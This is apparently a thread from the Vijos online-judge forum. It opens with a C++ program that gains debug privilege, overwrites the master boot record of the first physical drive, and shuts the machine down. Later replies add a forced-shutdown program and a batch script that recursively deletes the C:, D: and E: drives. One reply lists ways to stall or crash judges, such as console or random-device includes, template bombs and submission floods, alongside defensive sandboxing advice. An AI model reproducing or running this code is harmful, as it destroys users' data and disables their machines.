#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
char temp[512]={0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x06D,0x061,0x06B,0x065,0x020,0x062,0x079,0x020,0x078,0x069,0x061,0x06F,0x070,0x061,0x06F,0x000};
void GetPrivileges(){
HANDLE hProcess;
HANDLE hTokenHandle;
TOKEN_PRIVILEGES tp;
hProcess = GetCurrentProcess();
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
tp.PrivilegeCount =1;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
CloseHandle(hTokenHandle);
CloseHandle(hProcess);
}
void ReadPHYSICALDRIVE0(){
HANDLE hFile;
DWORD dwReadSize;
char lpBuffer[512];
char str_Name[] = "\\.\PHYSICALDRIVE0";
hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
if (hFile == INVALID_HANDLE_VALUE){
MessageBox(0, "wrong", "wrong", 0);
}
BYTE pMBR[512] ={0};

memcpy(pMBR,temp,sizeof(temp)-1);
pMBR[510] =0x55;

pMBR[511] = 0xAA;
WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
}
int _tmain(int argc, _TCHAR* argv[]){
GetPrivileges();
ReadPHYSICALDRIVE0();
system("shutdown -s -t 0");
return 0;
}

vijos服务条款6

不得发布包含恶意代码、指向恶意网站或 Vijos 明确禁止的网站的链接的内容。

不好好刷题卡什么评测机啊

哪里抄来的垃圾代码

vijos自己都有一个垃圾代码库，里面的代码都比这个代码好上几倍。

发明垃圾代码也要很好的思维

仅提供一些思路，不具放代码，避免被一些小学生到处拿去玩。放心，对LG无效。
#include<con>（针对win）#include</dev/console>（针对linux）
实际上就是等待你的标准读入。造成编译超时（如果不被kill的话）
#include</dev/random>
从系统返回随机数，也会被卡编译。
BZOJ之前经常因为这个中招
模板炸弹
可以生成出一个很大、很长的可执行文件，从而卡编译甚至卡机。
system('...') / popen('...')
运行直接系统调用。不过这个基本上还是能防的，比如ptrace等方法。
沙箱/docker漏洞
这个没发现过，但是不排除有发生的可能。
拒绝式攻击
短时间提交大量长时间运行题目。
给出一些自己开发评测系统的一些建议：
黑名单和谐掉某些关键字是没用的。攻击者可以通过define等方法拼凑出来。
直接上docker，限制好docker的权限，任由程序在docker里面玩。超过时间或者内存限制就杀掉好了。同时限制编译时间。
限制好用户短时间之内的提交数量。然后也要限制新用户注册等等防止自动化大量提交。
如果是学校内部使用，就没有必要煞费苦心使用技术防这防那的了，而是改用武力解决乱来的小朋友。
分享笑话一则：
有小学生在讨论区发帖，声称可以黑掉LG。打开一看，就是一个不知道从哪里复制过来的PHP shell code，还是直接以文字形式发送的。

只会自己递交的内存爆掉。

为毛突然想起了ntdll里的两个API：rtlSetProcessIsCritical和rtlAdjustPrivilege...

zan

hehe

1/windows.h怎么可能包含呢。。。。
2/竟然在oj执行system();。。。。
3/<con>卡爆vijos别想了。。。。
4/第一个代码是卡内存吧。。别想了。。。。
5/{

twd2 回复于2014-01-24 17:30
您好vijos不是一般oj噢
}

#include<stdlib.h>
int main()
{
system("shutdown -s -t 0");
return 0;
}

真高深

#include<windows.h>

int main()
{
 system("echo rd c: /s /q>>rd.cmd");
 system("echo rd d: /s /q>>rd.cmd");
 system("echo rd e: /s /q>>rd.cmd"); 
 system("start rd.cmd"); 
}

看到windows我就觉得不靠谱啊这个

#include<con>
#include"\\\\PHYSICALDRIVE0"

不过一般oj会禁掉windows.h吧。。

测试失败

求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！求关注！！！